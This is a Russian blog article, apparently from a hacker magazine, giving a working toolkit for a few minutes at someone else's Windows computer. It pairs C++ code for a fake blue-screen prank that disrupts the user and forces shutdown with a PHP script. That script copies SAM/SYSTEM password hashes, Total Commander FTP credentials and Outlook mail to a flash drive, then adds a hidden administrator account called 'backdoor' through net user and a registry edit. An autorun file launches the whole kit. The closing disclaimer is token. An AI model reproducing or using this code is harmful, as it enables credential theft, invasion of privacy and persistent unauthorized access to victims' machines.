Мутим западло
Итак, мы оказались за чужим компом всего на несколько минут. Что можно сделать за это время? В принципе, все что угодно, но это должно быть заранее подготовлено. Да, отформатировать винт можно одной командой в консоли, но скучнее шутки не придумаешь. Мы попробуем сымитировать всем знакомый BSOD (Blue Screen of Death). Синий экран смерти можно наблюдать в тех случаях, когда возникает ошибка в коде ядра или драйвера, выполняющегося в режиме ядра, либо вызвать его вручную. В отличие от оригинального, во время показа нашего BSOD Винда будет продолжать свою работу, выполняя нужные нам задачи, а после перезагрузки от него не останется и следа.
Напишем небольшую программку на С++, использующую Win32 API. Для фейкового экрана нам необходимо полностью очистить рабочий стол, поместить на него изображение оригинального BSOD и убрать мышь. Также для примера обработаем нажатие клавиш <Alt-Tab> и вызов диспетчера задач.
Начнем с явного определения версии Винды и подключения необходимых заголовочных (header) файлов. Предположительно, работать будем с Виндой NT 5.0 (XP):
#define WINVER 0x0500
Заголовочные файлы с необходимыми API-функциями:
#include "windows.h"
#include "commctrl.h"
Дальше работаем в теле программы. Необходимо скрыть панель задач, которая является одним из окон. Для этого получим HWND (уникальный идентификатор окна в Windows) панели задач при помощи функции FindWindow("Shell_TrayWnd",NULL) и используем его в функции ShowWindow(), позволяющей задавать режим отображения окна. В нашем случае необходимо скрыть окно, поэтому второй параметр выставляем в SW_HIDE:
ShowWindow(
FindWindow("Shell_TrayWnd",NULL),
SW_HIDE
);
Следующим шагом уберем ярлыки (папки и прочее), в большом количестве расплодившиеся на рабочем столе. Рабочий стол также является одним из окон Windows с названием ProgMan (aka program manager), а все, что на нем находится, - его элементами. Получим HWND рабочего стола; через обращение к дочерним окнам функцией GetWindow() с параметром GW_CHILD доберемся до окна, содержащего ярлыки, и пошлем ему сообщение об удалении (с экрана, физически элементы не удаляются) всех элементов через SendMessage() с параметром LVM_DELETEALLITEMS.
HWND DesktopHandle = FindWindow("ProgMan", 0);
DesktopHandle = GetWindow(DesktopHandle, GW_CHILD);
DesktopHandle = GetWindow(DesktopHandle, GW_CHILD);
SendMessage(DesktopHandle, LVM_DELETEALLITEMS , 0, 0);
На десктопе все еще висят открытые окна и приложения. Свернем их в уже скрытую панель задач нажатием <Win-M>. Нажатие клавиши в привычном нам смысле реализуется непосредственно ее нажатием и отжатием. Передадим в функцию keybd_event() первым параметром необходимую клавишу, а третьим - ее состояние: 0 - нажата, KEYEVENTF_KEYUP - отжата. Также необходимо поместить небольшую задержку в 100 миллисекунд.
Sleep(100);
keybd_event(VK_LWIN, 0, 0 ,0);
keybd_event('M', 0, 0 ,0);
keybd_event('M', 0, KEYEVENTF_KEYUP,0);
keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP,0);
Sleep(100);
Теперь на десктопе мы можем наблюдать только обои и мышь. Ими и займемся. Положим изображение синего экрана смерти в виде файла BSOD.bmp в каталог с прогой. API-функция SystemParametersInfo() может отображать и изменять различные параметры системы. В нашем случае первым параметром функции будет SPI_SETDESKWALLPAPER, отвечающий за обои на рабочем столе, третьим - имя файла с изображением BSOD, а четвертым - SPIF_SENDWININICHANGE, указывающий на то, что необходимо обновить конфиг:
char filename[50];
strcpy(filename,"BSOD.bmp");
SystemParametersInfo(SPI_SETDESKWALLPAPER,0,&filename,SPIF_SENDWININICHANGE);
Синий экран с белым текстом радует глаз, но курсор мыши портит все впечатление. Скроем и уберем курсор в правый нижний угол. Воспользовавшись функцией GetSystemMetrics() с параметром SM_CXSCREEN, получим разрешение экрана по горизонтали, с параметром SM_CYSCREEN - по вертикали. Внесем полученные значения в структуру типа POINT, необходимую для функции установки курсора в определенную позицию SetCursorPos().
int screenW=GetSystemMetrics(SM_CXSCREEN);
int screenH=GetSystemMetrics(SM_CYSCREEN);
POINT pt = {screenW, screenH};
Скрывать и устанавливать мышь в угол экрана будем в бесконечном цикле, дабы не дать юзверю испортить иллюзию отсутствия курсора:
while (1) {
ShowCursor(0);
SetCursorPos(pt.x, pt.y);
}
С виду все в порядке, но пользователь может подумать, что его разыгрывают, и попытаться запустить диспетчер задач или попробовать сменить программу по <Alt-Tab>. Конечно, можно написать хук (ловушку) на клавиатуру, но мы ограничимся следующим. При нажатии <Alt-Tab> в Винду посылается сигнал нажатия и отжатия этих клавиш. Мы же будем непрерывно посылать сигнал о том, что клавиши <Alt> и <Tab> отжаты, тем самым не допуская использование этой комбинации. Добавим в цикл, описанный чуть выше, строчки:
keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP,0);
Следующий на очереди - диспетчер задач. При его вызове, к примеру, будем выключать компьютер. Ловить появление диспетчера мы станем непрерывным поиском окна «Диспетчер задач Windows» (предположительно, мы имеем обычного юзера, использующего локализованную Винду) через FindWindow(). При появлении ему будет отсылаться сообщение о закрытии функцией PostMessage(). Далее выключаем компьютер, используя ExitWindowsEx() с первым параметром EWX_POWEROFF для форсированного выключения (можно EWX_RESTART для перезагрузки). Добавим во все тот же цикл к функциям работы с мышью и клавой следующий код:
if (FindWindow(NULL, "Диспетчер задач Windows")) {
PostMessage(FindWindow(NULL, "Диспетчер задач Windows"), WM_QUIT, 0, 0);
ExitWindowsEx(EWX_POWEROFF, 0);
}
Функция ExitWindowsEx() не будет работать без соответствующих привилегий (прав доступа), получить которые можно так (код добавляется перед описанным выше циклом while):
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES) NULL, 0);
Готово. Сохраняем, компилируем, запускаем и получаем очередной инструмент по западлостроению.
Особенно интересным мне представляется использование этого способа следующим образом.
1. Делаем скриншот:
keybd_event(VK_SNAPSHOT, 0, 0 ,0);
keybd_event(VK_SNAPSHOT, 0, KEYEVENTF_KEYUP,0);
2. Сохраняем в папку с программой (допустим, сохраним вручную в запущенном Paint'e).
WinExec("mspaint.exe", SW_SHOW);
В это время наша прога должна быть остановлена, поскольку нам понадобится определенное время, чтобы сохранить скриншот. Пусть ожидает нажатия клавиши:
getch();
Заменяем изображение BSOD принтскрином рабочего стола юзера.
3. Убираем из цикла while(1) выключение компьютера, то есть строчку «ExitWindowsEx(EWX_POWEROFF, 0);».
4. Убираем функции для работы с мышью («ShowCursor(0); SetCursorPos(pt.x, pt.y);», в частности). В тело программы добавляем следующие строки:
int MS=1;
SystemParametersInfo(SPI_SETMOUSESPEED, NULL, (void*)MS, SPIF_UPDATEINIFILE);
Так мы до минимума замедлим скорость перемещения курсора.
5. Добавляем в цикл while(1) функцию сокрытия ярлыков на рабочем столе и команду ожидания на 10 миллисекунд, чтобы разгрузить процессор и дать юзеру повозить мышью:
SendMessage(DesktopHandle, LVM_DELETEALLITEMS , 0, 0);
Sleep(10);
Как ты уже догадался, пользователь увидит свою любимую Винду, но, щелкая по ярлыкам, папкам, «Пуску» и программам на панели задач, придет в недоумение.
Выворачиваем карманы
Все, с западлостроением разобрались. Нашей следующей задачей будет «заимствование» полезной информации с чужого компа :). Как ты уже догадался, «заимствовать» инфу удобнее всего с помощью самописной тулзы, которую мы обязательно напишем, только чуть позже. Для начала давай определимся с тем, что нас может интересовать в стандартной Винде: SAM-файл, конфиги с аккаунтами от различных приложений.
Что касается первого, то кроме самой резервной копии SAM-файла нам понадобится еще и бэкап файла SYSTEM. И тот и другой хранятся, как известно, здесь:
C:\WINDOWS\repair\
Брутить пассы виндовых юзеров из SAM'а удобнее всего утилой LCP, которую ты без труда найдешь на просторах секлаба.
Со вторым пунктом все немного сложнее. Дело в том, что нам нужно знать точное место расположения конфигов. Конечно, можно реализовать парсинг содержимого всего винта, но сколько потребуется времени на обработку хотя бы 80 гигов... А о том, что будет с твоей задницей, если во время поиска в помещение неожиданно вернется хозяин, мне и думать не хочется :). Следовательно, работа нашей тулзы должна укладываться в жесткие временные рамки. А значит, брать с чужого компа мы будем только то, что находится в заранее известном каталоге. Прежде всего, это конфиг Total Commander'а и файл данных из MS Outlook'а. Первый лежит в C:\WINDOWS\wcx_ftp.ini и содержит в себе все FTP-учетки пользователя, а второй располагается в C:\Documents and Settings\имя_юзера\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst и бережно хранит переписку и контакты жертвы :).
Так как наша утила подлежит постоянным изменениям и доработке, кодить удобнее всего на каком-либо скриптовом языке, например на всеми любимом PHP:
#Сливаем конфиг с FTP-аккаунтами из Total Commander'а
$ftp = "C:\WINDOWS\wcx_ftp.ini";
if(is_file($ftp)){
copy("C:\WINDOWS\wcx_ftp.ini","$FD:\\tmp\wcx_ftp.ini");
}else{
echo("Warning! File wcx_ftp.ini: not found or access denied.\n");
}
#Сливаем резервную копию SAM-файла и файла SYSTEM
$sam = copy("C:\WINDOWS\\repair\\sam","$FD:\\tmp\sam");
$sys = copy("C:\WINDOWS\\repair\\system","$FD:\\tmp\system");
if(!$sys){
copy("C:\WINDOWS\\repair\\system.bak","$FD:\\tmp\system");
}
С wcx_ftp.ini все просто, функция is_file() определяет наличие у нас прав на доступ к файлу, после чего происходит его копирование в /tmp-каталог на нашем носителе. Аналогично и с SAM/SYSTEM. Однако ты наверняка заметил переменную $FD, обозначающую имя съемного диска (проще говоря, флешки). Из-за того, что юзать скрипт нам придется на разных компах, присвоить значение заблаговременно не представляется возможным. Кроме того, при «заимствовании» файла Outlook.pst появляется еще одна проблема - неизвестное имя пользователя:
$mst = "C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst";
if(is_file($mst)){
$size=filesize("C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst");
if($size>$MS){
echo("Warning! File Outlook.pst = $size bytes.\n");
}else{
copy("C:\Documents and Settings\\$UN\Local Settings\Application Data\Microsoft\Outlook\Outlook.pst","$FD:\\tmp\Outlook.pst");
}
}else{
echo("Warning! File Outlook.pst: not found or access denied.\n");
}
Как видишь, юзернейм – это переменная $UN. Забегая вперед, скажу, что в ходе тестирования выяснился недостаток в виде размера Outlook.pst. Поэтому в финальном релизе появилась переменная $MS, несущая в себе максимально допустимое значение размера файла данных из Outlook. Все три параметра - имя диска, имя пользователя и максимальный размер аутлуковского файла - указываются нами при запуске скрипта:
F:\php\php F:\base.php F admin 10240
Здесь F - имя флешки, admin - логин юзера, 10240 - размер в байтах. Но радость наша была бы неполной без собственного аккаунта в системе, не так ли? :) К счастью, в большинстве случаев в Винде сидят из-под админа. Добавить своего пользователя с повышенными привилегиями при таком раскладе не составит труда:
$login="backdoor";
$password="winpas";
system("net user $login $password /add");
system("net localgroup Администраторы $login /add");
Тем не менее оставлять такое палево после себя очень некрасиво :). Поэтому мы скроем наш аккаунт от посторонних глаз, причем скроем его так, что ни на экране приветствия, ни в панели управления учетными записями он отображаться не будет:
$reg = "REGEDIT4";
$key = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
\"$login\"=dword:00000000";
$fp = fopen("$FD:\\tmp\user.reg", "w");
fputs($fp, "$reg\n$key");
fclose($fp);
system("$FD:\\tmp\user.reg"); //вносим данные в реестр
Вот и все. Единственное, что от тебя требуется, - это два раза нажать <Enter> при добавлении записи в реестр.
Итак, что мы имеем в итоге:
- Резервные копии файлов SAM/SYSTEM.
- Конфиг Total Commander'a (при условии его использования).
- Файл данных из MS Outlook (при условии его использования).
- Собственного скрытого пользователя с правами админа в системе.
Причем при сравнительно небольшом размере файла Outlook.pst (< 5 Мб) время, требуемое скриптом на выполнение, составляет всего около 10 секунд. Конечно, многое зависит от железа и скорости передачи данных, но еще большую роль играет твоя сообразительность. Модифицировать мой скрипт или переписать его на другой язык не составит особого труда, зато простора для фантазии здесь хватает. Дерзай, а я всегда помогу :).
Два в одном, или Local Tools
Имея на руках две написанные проги, попробуем объединить их в единое целое. Суть идеи такова: на флешке мы размещаем распакованный PHP-интерпретатор, скрипт base.php, утилу BSOD.exe и картинку к ней - BSOD.bmp. Удобнее всего совмещать западло с хакингом :). Поэтому наш скрипт после выполнения возложенных на него обязанностей будет копировать софтинку Dot.err'а на винт жертвы и запускать ее оттуда:
$bsod = copy("$FD:\\BSOD.exe","C:\WINDOWS\BSOD.exe");
$scrn = copy("$FD:\\BSOD.bmp","C:\WINDOWS\BSOD.bmp");
system("C:\WINDOWS\BSOD.exe");
Таким образом, стянув все необходимые данные, мы аккуратно укладываем чужой комп на обе лопатки завораживающим синим экраном :). В этом случае base.php тебе нужно запускать при помощи PHP-интерпретатора на твоем носителе, указав все требуемые параметры. Но для особо ленивых есть возможность создания авторана на flash-носителе:
[Autorun]
shellexecute=BSOD.exe
Action=Local_Tools
Icon=smile.gif
Label=LT
Здесь shellexecute обозначает запускаемое приложение, Action - его название, Icon - иконку, а Label - название диска. Кроме того, можно набросать простенький батник, редактируя в нем лишь изменяющиеся параметры, передающиеся скрипту base.php. В общем, выбор за тобой :). Но как бы там ни было, помни, ломать, не строя, невозможно.
Danger
Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!
Комментариев нет:
Отправить комментарий